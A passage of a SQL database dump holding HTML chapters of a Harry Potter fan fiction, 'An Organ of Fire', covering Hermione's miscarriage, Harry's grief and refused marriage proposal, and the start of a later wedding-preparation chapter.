beds\nagain,&quot; he whispered.&nbsp; &quot;Please\nforgive me, love.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The tears he had been fighting fell; they dripped down the\ninside of her arm.&nbsp; He closed his eyes,\nbut all he could see was himself, holding her thrashing body down while Snape\nfed her the counter-potion....the counter-potion that had brought her back to\nhim and killed their child at the same time.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Forgive me, Hermione.&nbsp;\nBecause I never will.&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She awoke without ceremony from a sleep that had been\nhaunted with upsetting dreams.&nbsp;\nRetaining no memory of them beyond that, her eyes opened.&nbsp; Someone had a hold of her hand.&nbsp; The first thing she did was flex her\nfingers.&nbsp; Almost immediately, he\nappeared over her.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry.&quot;&nbsp;\nHer voice sounded so weak, even to her own ears.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The face of the man she loved was a mottle of purple-blue\nbruises; there were some wounds that even magic couldn\'t erase.&nbsp; Behind a new pair of glasses, his eyes were\nliquid green, both worried and relieved.&nbsp;\nAnd sad.&nbsp; So very, very sad.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hey there,&quot; he said softly, stroking her hair\nback from her forehead.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She could only say his name again, but instinctively she\nknew she didn\'t have to ask any questions.&nbsp;\nHe began to speak in a low, soothing tone.&nbsp; As he recounted the night\'s events, Hermione could tell he was\nhiding something.&nbsp; But she wasn\'t sure\nshe was strong enough yet to find out what it was.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;He\'s gone,&quot; Harry finished a few minutes\nlater.&nbsp; &quot;It\'s all over,\nlove.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione tried to swallow, but her throat was bone-dry.&nbsp; Bones.&nbsp;\nShe could remember bones.&nbsp;\nVoldemort\'s...no, Draco\'s.&nbsp; She\ndesperately wanted to close her eyes again.&nbsp;\n&quot;I\'m so...sorry.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His eyes grew darker.&nbsp;\n&quot;No, Hermione.&nbsp; There\'s\nnothing...&quot;&nbsp; He stopped for a few\nseconds to collect himself.&nbsp;\n&quot;This...all of this...was my fault.&nbsp; All of it.&quot;&nbsp; The last\nsentence was barely audible.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You came for me, Harry.&quot;&nbsp; Her tears wet the white pillow.&nbsp; &quot;I told him you would...and you didn\'t\nlet me down.&nbsp; I remember...everything\nnow.&nbsp; Everything until...&quot;&nbsp; There was the strangest sense of emptiness\nwithin her body all of a sudden; it sent a spike of cold fear down her\nspine.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Until what?&quot; he asked, worried.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She shook her head.&nbsp;\n&quot;I...I don\'t know.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry hesitated just long enough for her to figure out that\nwhatever it was, it was very bad.&nbsp;\n&quot;Madam Pomfrey says you\'re doing just fine.&nbsp; You just need lots of rest and fluids.&nbsp; And don\'t worry about Harry; he\'s just fine,\nas well.&nbsp; Very glad that you\'re all\nright.&nbsp; He\'ll come see you later if you\nlike.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry.&quot;&nbsp;\nHermione closed her eyes.&nbsp; The\npieces fell together and formed a nightmare.&nbsp;\nIt could only be one thing, her worst fear realized.&nbsp; &quot;Our baby is gone, isn\'t\nshe?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A reply never came.&nbsp;\nIt wasn\'t necessary.&nbsp;\nUnconsciously, Hermione\'s hand slid down the length of her stomach and\nsettled on her flat belly.&nbsp; Still sore\nfrom the miscarriage, she shut her eyes tightly.&nbsp; Grief built up in her chest, manifesting itself into deep sobs\nthat shook her slender body and ripped Harry apart.&nbsp; His handss balled up, stretching the broken skin under his\nbandages.&nbsp; A few spots of blood appeared\nthrough the white gauze.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He relaxed his fists suddenly, needing to hold her.&nbsp; Because as soon as she found out the truth,\nhe might never be allowed to again.&nbsp;\nHarry lifted her shoulders and back off the bed and wrapped her up in an\nunbreakable embrace.&nbsp; &quot;I\'m\nsorry,&quot; he said into her hair, his voice choked.&nbsp; &quot;I\'m sorry.&quot;&nbsp; It\ntook her awhile to respond, but when she did, she tightened her arms around his\ntorso and spent her tears into the crook of his neck.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They remained like that for a long time, long enough for the\ninitial sorrow to work its way out.&nbsp;\nHermione opened her bloodshot eyes, staring at the forest-green braid\nthat trimmed the borders of Harry\'s robes.&nbsp;\n&quot;We never even named her.&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Maybe it\'s better that we didn\'t.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Maybe.&quot;&nbsp;\nShe hiccuped softly and pulled back just enough to be able to see his\nface.&nbsp; &quot;He said his potion wouldn\'t\nhurt the baby.&nbsp; Did he lie, or did he\njust not know?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\'s expression was that of a man entering hell.&nbsp; His chin dropped down to his chest.&nbsp; &quot;Love, it wasn\'t his potion.&quot;&nbsp; He continued, his voice flat and\nlifeless.&nbsp; &quot;There was a\ncounter-potion.&nbsp; Snape brewed it...the\nonly thing that could bring you back from...&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry?&quot;&nbsp;\nShe tucked her lower lip between her teeth to keep it from trembling\nuncontrollably.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I had him give it to you.&nbsp; Even though I knew what it would do.&quot;&nbsp; His eyes burned with unshed tears as she\nstared at him.&nbsp; &quot;There wasn\'t any\nother way, Hermione.&nbsp; Please believe\nme...&quot;&nbsp; She looked away from him, a\nsimple movement that hurt worse than Sirius\'s right hook.&nbsp; &quot;\'Mione...&quot;&nbsp; Harry reached for her hand, but she pulled\nit away.&nbsp; &quot;You can\'t possibly hate\nme right now any more than I hate myself...but please...at least look at\nme.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">When she finally spoke, her words were soft and cool.&nbsp; &quot;I know you must have done what had to\nbe done.&nbsp; You always do; it\'s one of the\nthings I fell in love with.&quot;&nbsp; Her\narms crossed protectively over her stomach.&nbsp;\n&quot;I don\'t hate you, Harry.&nbsp;\nBut I don\'t want to look at you right now either.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hermione...&quot;&nbsp;\nHe tried touching her again.&nbsp; A\nmistake.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;No!&quot;&nbsp; Her\noutburst echoed off the ceiling.&nbsp; After\na moment, she shut her eyes and carefully laid back down onto the pillows, her\nhead still facing away from him.&nbsp;\n&quot;I want to be alone for awhile.&quot;&nbsp; Harry drew his hand back towards his body.&nbsp; &quot;Please, Harry...just go.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He stood up on legs that shook beneath him.&nbsp; For the time it took the second hand to get\naround a clock, Harry remained still, waiting for something, some sign of\nencouragement.&nbsp; When it didn\'t come, he\nslowly backed up&nbsp; through the curtains\nand walked out of the hospital wing, ignoring Lupin as the older man called to\nhim.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Five minutes later, he found himself at Minerva McGonagall\'s\noffice, knocking on the heavy wooden door with his bleeding fists.&nbsp; When she answered, he pushed past her\nwithout waiting for an invitation.&nbsp;\n&quot;Where is it?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">McGonagall put a hand against her throat.&nbsp; &quot;Harry, I am so terribly sorry for your\nloss.&nbsp; I had no idea that...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Just tell me where it is.&nbsp; Please.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Where what is, Harry?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He leveled her with a hard stare.&nbsp; &quot;The time-turner.&nbsp; I\nknow you have one.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She glanced down at her wrinkled hands.&nbsp; &quot;Harry, you know perfectly well that I\ncan\'t...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yes, you can.&nbsp;\nIt\'s simply a matter of giving it to me.&quot;&nbsp; Harry held out his hand.&nbsp;\n&quot;Easy as that.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hardly, Harry.&nbsp;\nHardly.&quot;&nbsp; His old teacher\nsighed sadly.&nbsp; &quot;For one thing, the\ntime-turner is only designed to go back an hour or two at the most.&nbsp; Any more than that and you risk...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry cut her off, &quot;Don\'t you think I\'m willing to take\nany risk?!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;There are some things that aren\'t worth...&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;And there are some things that are!!&quot;&nbsp; He began to pace to keep his feet moving and\nhis mind occupied.&nbsp; &quot;I just need to\ngo back two days.&nbsp; Three at the\nmost.&nbsp; Yeah....three.&nbsp; Then I can stop her from ever being\ntaken.&nbsp; She\'ll be safe and we can devise\na better plan to rescue Sirius and most importantly...our baby\nwon\'t...&quot;&nbsp; His voice gave out, too\novercome to continue for a few seconds.&nbsp;\n&quot;Just give me the chance, Professor.&nbsp; I\'ll fix it...I\'ll save her...I can do it!&nbsp; I can.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The older witch brushed away a tear.&nbsp; &quot;I\'m sorry.&nbsp; Even if you\'re willing, I can\'t risk altering the outcome of last\nnight\'s events.&nbsp; Just because you have\nthe power, Harry, doesn\'t mean it\'s always wise to exercise it.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He was helpless.&nbsp;\nEverything he knew, everything he was...and yet none of it\nmattered.&nbsp; Life had happened as it was\nwont to happen and the only thing left to do was to pick up the pieces and try\nto move on.&nbsp; At least, that was what his\nhead recognized.&nbsp; His heart, as always,\nwas two steps behind.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I killed...a part of myself last night.&quot;&nbsp; His jaw felt tight.&nbsp; &quot;Do you have any idea what that feels\nlike, Professor?&nbsp; To know that you are\npersonally responsible for the death of your own child?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry...&quot;&nbsp;\nShe approached him and put both hands on his arms and spoke the four\nwords he couldn\'t bring himself to believe.&nbsp;\n&quot;It\'s not your fault.&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His eyes clouded over with hot tears.&nbsp; &quot;Please just give it to me,&quot; he\nwhispered.&nbsp; When she shook her head, his\nshoulders slumped over.&nbsp; Just as\nMcGonagall began to worry about him falling to the ground, Harry\'s back\nstraightened.&nbsp; &quot;Thank you for\neverything, Professor.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry, you know that if there were another way, I\nwould gladly...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;When you offered this position to me, you said that\nthere was a great deal of good to be done.&nbsp;\nWell...I\'m not sure how much I have done, but I thank you for the opportunity.&quot;&nbsp; He started for the door.&nbsp; &quot;My students are more than ready for\ntheir exams, thus fulfilling the obligation I have to Hogwarts as outlined in\nmy contract.&nbsp; Please pass on my regards\nand thanks to the Headmaster and the rest of the staff.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Running away again, Harry?&quot; she asked with more\nthan a little disappointment.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Not running.&nbsp;\nJust sparing everyone even more suffering.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry...you know that this is your home.&nbsp; *They* are your family.&nbsp; You\'re older now and leaving is not the\nmature thing to...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry paused with his hand on the door.&nbsp; &quot;My home...my family is better off\nwithout me.&quot;&nbsp; He gripped the brass\nhandle tighter, remembering Hermione\'s heart-wrenching sobs.&nbsp; &quot;There are some wounds that even magic\ncan\'t heal.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You\'re not wrong,&quot; McGonagall said in her usual\ncrisp manner.&nbsp; &quot;But what magic\ncan\'t heal, love and time always can.&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I asked for time.&quot;&nbsp; He pulled the door open.&nbsp;\n&quot;You wouldn\'t give it to me.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She raised a grey eyebrow.&nbsp;\n&quot;And love, Harry?&nbsp; What of\nthat?&quot;&nbsp; An answer never came; the\ndoor slammed shut behind him.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He would be leaving Hogwarts with more than what he had\narrived with nine months earlier.&nbsp;\nBesides his Firebolt and a few new sets of robes, he would be leaving\nwith a plethora of new memories.&nbsp;\nPlaying Wizard\'s Chess with little Harry, watching a student\'s face\nlight up when he or she finally grasped a particular concept, talking with\nHagrid over huge cups of tea...making love with Hermione in the moonlight.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry sat on the edge of his bed when he was finished\npacking, one foot propped up on his full trunk.&nbsp; He closed his eyes and allowed himself a moment to think.&nbsp; Leaving was not a decision he had come to\nlightly.&nbsp; But she had asked for time,\nand this was the only way he could give it to her.&nbsp; While he would have loved to stay and been allowed to work\nthrough his own sorrow by her side, she obviously needed space, as well.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">In fact, the only thing keeping him from jumping on his\nbroom and departing straight away was his son.&nbsp;\nLittle Harry had just begun to accept him...and now he was preparing to\nbreak that thin bond of trust that had been established.&nbsp; But he had to believe it was worth it.&nbsp; He just had to.&nbsp; Or else...he\'d have to think twice about going at all.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry opened his eyes and found himself looking into a pair\nof identical green irises.&nbsp; He\nblinked.&nbsp; &quot;Harry?&nbsp; How did you get in here?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Mum\'s wand.&nbsp;\nAlohomora,&quot; his son replied.&nbsp;\n&quot;Standard Book of Spells, chapter...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Three.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Are you going somewhere, Father?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He glanced around his bedroom.&nbsp; &quot;I was planning to, yes.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Why?&quot; little Harry asked, unable to hide the\nshadow that settled onto his brow.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;For lots of reasons,&quot; Harry said with a\nsigh.&nbsp; &quot;All of which seem\nridiculous now.&quot;&nbsp; He paused.&nbsp; &quot;Harry, you\'re old enough to hear what\nhappened to your mother last...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I already know, Father.&nbsp; I saw it all in my dream.&nbsp;\nWhat happened to her.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You saw it?&quot;&nbsp;\nHarry swallowed a hot lump in his throat.&nbsp; &quot;You saw your sister?&quot;&nbsp;\nThe boy nodded.&nbsp; &quot;What did\nshe...I mean...&quot;&nbsp; He choked on a\nsharp breath.&nbsp; &quot;Did she look like\nHermione...or me?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Little Harry shook his head.&nbsp; &quot;I don\'t know, Father.&nbsp;\nI only saw a very little baby.&quot;&nbsp;\nHe frowned, remembering.&nbsp;\n&quot;Wrapped in a blue blanket.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;A *blue* blanket?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It was blue,&quot; the boy said, closing his\neyes.&nbsp; &quot;The snake...bit the baby\'s\narm...and it cried.&nbsp; There was\nblood...all over the blue blanket.&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry reached for his son\'s shoulder.&nbsp; &quot;I thought you said...that Ron said\nyour mother was going to have a girl?&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;He did.&nbsp; And he\nsaid that she\'d be fine.&quot;&nbsp; Fat\ntears appeared in the corners of little Harry\'s eyes.&nbsp; &quot;Was it not Dad that I\'ve been seeing in my dreams?&nbsp; It\'s looked just like him.&nbsp; Sounded just like him.&quot;&nbsp; The tears spilled over.&nbsp; &quot;I\'ve wanted it to be Dad so much,\nFather...I\'ve wanted to see him again...just once.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I know what you mean,&quot; Harry whispered.&nbsp; Without hesitating, he pulled his son into\nhis arms for a long overdue hug.&nbsp;\n&quot;You know what?&quot; he continued after a long time.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Little Harry sniffed, but didn\'t remove his arms from around\nhis father\'s neck.&nbsp;\n&quot;What?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I think it has been Ron you\'ve been seeing.&nbsp; I saw him, too.&nbsp; He was with us when we...well, anyways, he was there at Malfoy\nManor.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'m glad you saw him, Father.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded.&nbsp;\n&quot;Me, too.&nbsp; Even if it was\nonly just for a second.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Please don\'t go away,&quot; the child blurted out into\nHarry\'s shoulder.&nbsp; &quot;I don\'t want\nyou to leave!&nbsp; And I don\'t want to see\nMum cry anymore.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I don\'t either, Harry.&nbsp; That\'s one of my reasons for leaving.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The boy sniffed again, this time indignantly.&nbsp; &quot;You said yourself all your reasons\nwere ridiculous.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I did, didn\'t I?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His son pulled back without breaking the embrace.&nbsp; &quot;What happened...it\'s not your fault,\nFather.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">There was no difference in the way he said it from the ways\nSirius and McGonagall had said it, but for some reason, this time Harry let\nhimself believe.&nbsp; He slowly nodded.&nbsp; &quot;Perhaps.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Little Harry wriggled out of the hug and pushed his father\'s\nfoot off of his trunk.&nbsp; While Harry\nwatched, the boy successfully unlocked it and began pulling out clothes and\nreplacing them in various drawers.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I take it I\'m not going anywhere tonight, am I?&quot;\nHarry said.&nbsp; He was rather inclined to\nbe amused by the turn of events, but his chest was still too heavy with grief\nto smile.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Nope.&quot;&nbsp;\nThe boy carefully unfolded Harry\'s good set of dark green robes.&nbsp; &quot;Not until you talk to Mum.&quot;&nbsp; He moved to the closet, looking very much\nlike his mother when she set her mind to a task.&nbsp; &quot;You two need each other right now, more than ever.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked down at his lap.&nbsp; &quot;Did Ron tell you that?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Little Harry shook his head proudly.&nbsp; &quot;I figured that one out\nmyself.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;All right.&quot;&nbsp;\nHe stood up from the bed and adjusted his glasses.&nbsp; &quot;I\'ll try again.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I think that\'s pretty much all you can do.&nbsp; But Mum loves you.&nbsp; She doesn\'t want you to go.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry knelt down to his son\'s level.&nbsp; &quot;I love her.&nbsp; And you.&nbsp; You know that\nnow, right?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I do,&quot; little Harry nodded.&nbsp; He watched his father stand up and walk to\nthe door.&nbsp; &quot;I love you, too,\nFather.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was the brightest moment Harry had experienced since he\nhad woken up in Hermione\'s arms the day she was abducted.&nbsp; It kept him motivated as he made the long\nwalk down to the hospital wing.&nbsp; And it\ngave him courage when it came time to push the privacy curtain aside and\nconfront the only woman he had ever loved.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She turned her head to look at him, an indescribable look on\nher lovely, tear-stained face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hermione,&quot; he began.&nbsp; &quot;So much has happened to us in the years we\'ve known each\nother.&nbsp; Lots of wonderful things.&nbsp; And far too many tragic things.&nbsp; Losing our baby last night...it\'s pain like\nwe\'ve never known.&nbsp; It\'s pain...like\nRon\'s father said it would be.&nbsp; And\nnothing\'s worse.&nbsp; Except maybe one\nthing.&quot;&nbsp; He stopped to take a\nbreath before plunging on.&nbsp; &quot;Losing\nyou.&nbsp; Hermione...I love you.&nbsp; I have always loved you.&nbsp; Even before I had any idea what love\nwas...you were there.&nbsp; I had to make a\nchoice last night and right or wrong, I can\'t change it.&nbsp; All I know is that I can\'t lose you.&nbsp; Ever.&nbsp;\nYou are my home.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry...&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He sat at her side and gently covered her mouth with two\nsplintered fingers.&nbsp; &quot;You told me\nto go away...and I almost did.&nbsp; I\'m\nstill here because I had to tell you all of this.&nbsp; And...I had to ask you something.&nbsp; It\'s not the best time...and it\'s not the way I wanted to do\nthis, but....Hermione...&quot;&nbsp; He\nlicked his lips.&nbsp; &quot;Will you\nconsider marrying me?&quot; &nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\'s hands still rested on her belly.&nbsp; For an endless moment, she looked back and\nforth between his eyes.&nbsp; The color of\nthe Quidditch green.&nbsp; The color of\nemeralds.&nbsp; Finally, she lifted one hand\nto run her fingers through his tousled black locks. &nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;No.&nbsp; I won\'t\nconsider it.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">To Be Continued</p>\n\n\n\n\n\n\n');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(93, 25, '\n\n\n\n<p class="MsoNormal">Disclaimer: Characters, places, ideas and even one little\nline of dialogue does not in any way, shape or form belong to me, Kristen\nElizabeth. It all belongs to JK Rowling and...um...all those book and movie\ncompanies. So, please don\'t sue. You can\'t take my autographed picture of\nJonathan Frakes away from me!!! </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Author\'s Notes: To follow the story.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">An Organ of Fire</p>\n\n<p class="MsoNormal">by Kristen Elizabeth</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;So...what do you think?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">With a critical green eye, little Harry looked older Harry\nup and down, from head to toe.&nbsp;\n&quot;You look...&quot;&nbsp; He\nstopped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I look...what?&quot;&nbsp;\nHarry splayed his fingers across his chest, patting the black vest.&nbsp; &quot;Is it buttoned up wrong?&nbsp; Is black too boring?&nbsp; Is it not black at all?!&nbsp; Did they give me navy blue or\nsomething?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His son snickered behind one hand as his father turned\naround, searching for a better angle to catch the light streaming in from the\nwindow.&nbsp; &quot;Made you look.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stopped, a sour look on his face that was entirely\ndirected towards the boy.&nbsp; &quot;You\'re\nkilling me, kid.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It\'s buttoned up fine.&nbsp; It\'s jet black.&nbsp; And it\'s\nnot boring.&quot;&nbsp; Sirius approached his\ngodson and brushed non-existent lint off the shoulders of Harry\'s black dress\nrobes.&nbsp; &quot;It\'s classic.&nbsp; Your father wore something just like\nthis.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I know,&quot; Harry smiled.&nbsp; &quot;I\'ve seen the pictures.&quot;&nbsp; The sudden onslaught of butterflies in his stomach made his smile\nfade quickly.&nbsp; &quot;Was he\nnervous?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sirius shot a look towards Lupin who was sitting on the edge\nof the bed, polishing Harry\'s right shoe.&nbsp;\n&quot;Let\'s just say that we wouldn\'t let him eat any breakfast,&quot;\nhe finally replied.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Little Harry pulled at the white collar of his brand-new\ndress shirt.&nbsp; &quot;I\'ve never heard you\ntalk about my real grandfather.&nbsp; What\nwas he like?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry,&quot; the older Harry gestured until the boy\napproached him, still tugging at his formal clothes.&nbsp; &quot;You have a real grandfather...two, actually...downstairs\ngetting ready.&nbsp; You know?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His son nodded.&nbsp;\n&quot;I know.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lupin handed Harry his shoe and winked at little 